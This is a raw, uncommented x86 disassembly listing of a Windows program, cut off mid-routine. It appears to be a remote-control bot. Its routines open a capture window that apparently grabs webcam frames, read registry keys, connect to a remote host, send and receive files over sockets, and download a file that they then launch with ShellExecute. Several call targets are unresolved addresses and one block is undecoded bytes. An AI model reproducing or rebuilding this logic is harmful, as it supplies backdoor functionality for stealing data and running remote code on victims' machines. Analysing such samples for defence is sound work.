loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CAFD0 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CAFD0 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CAFD0 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB024 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF14 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF14 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF14 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CAFD0 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF14 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CAFD0 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF14 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CAFD0 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF14 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CAFD0 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF14 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CAFD0 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF14 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF14 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CAFD0 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB024 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4361F4, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4361F4 mov esi, offset dword_436200 mov edi, offset dword_4373F8 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CAFE4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAE74 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293BC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_4373F4 ; "=" push eax call sub_41C0F4 push offset asc_4373F4 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF50 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB00C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22DA314h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A9E89056h, 6A022DA2h, 1AE89064h, 330227A8h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 0A7C3E864h, 6A900227h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h db 2Dh, 2 ; --------------------------------------------------------------------------- loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_437574 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAF74 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFA0 test eax, eax jz short loc_415EA6 push offset unk_437550 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF18 push dword ptr [ebp-2Eh] call dword_4CAEA4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAF9C test eax, eax jz short loc_415F21 push offset unk_437474 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 2710A4Eh cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437530 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax nop call near ptr 2740B0Ch mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFB4 push eax call dword_4CAF70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437518 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF5C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437500 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_4374DC loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB00C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2780000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2710000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFC4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAF8C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] call near ptr 26708E6h nop push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB000 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374B0 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB00C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi nop call near ptr 26F0000h loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_437498 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2690000h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293C4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 2710A4Eh cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437614 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 26708E6h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_4375E4 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375C4 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAF8C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAF70 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFC4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_437498 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26F0000h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437598 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB00C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF24 call dword_4CAE78 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call near ptr 2710A4Eh nop cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_4377E0 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi call near ptr 26F0000h nop loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi nop call near ptr 26A0D63h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAE80 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 2700000h cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377B8 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437790 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCB0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437764 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j call near ptr 26A0D63h nop sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 26708E6h push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43773C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437704 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAEE0 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_4376E8 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: 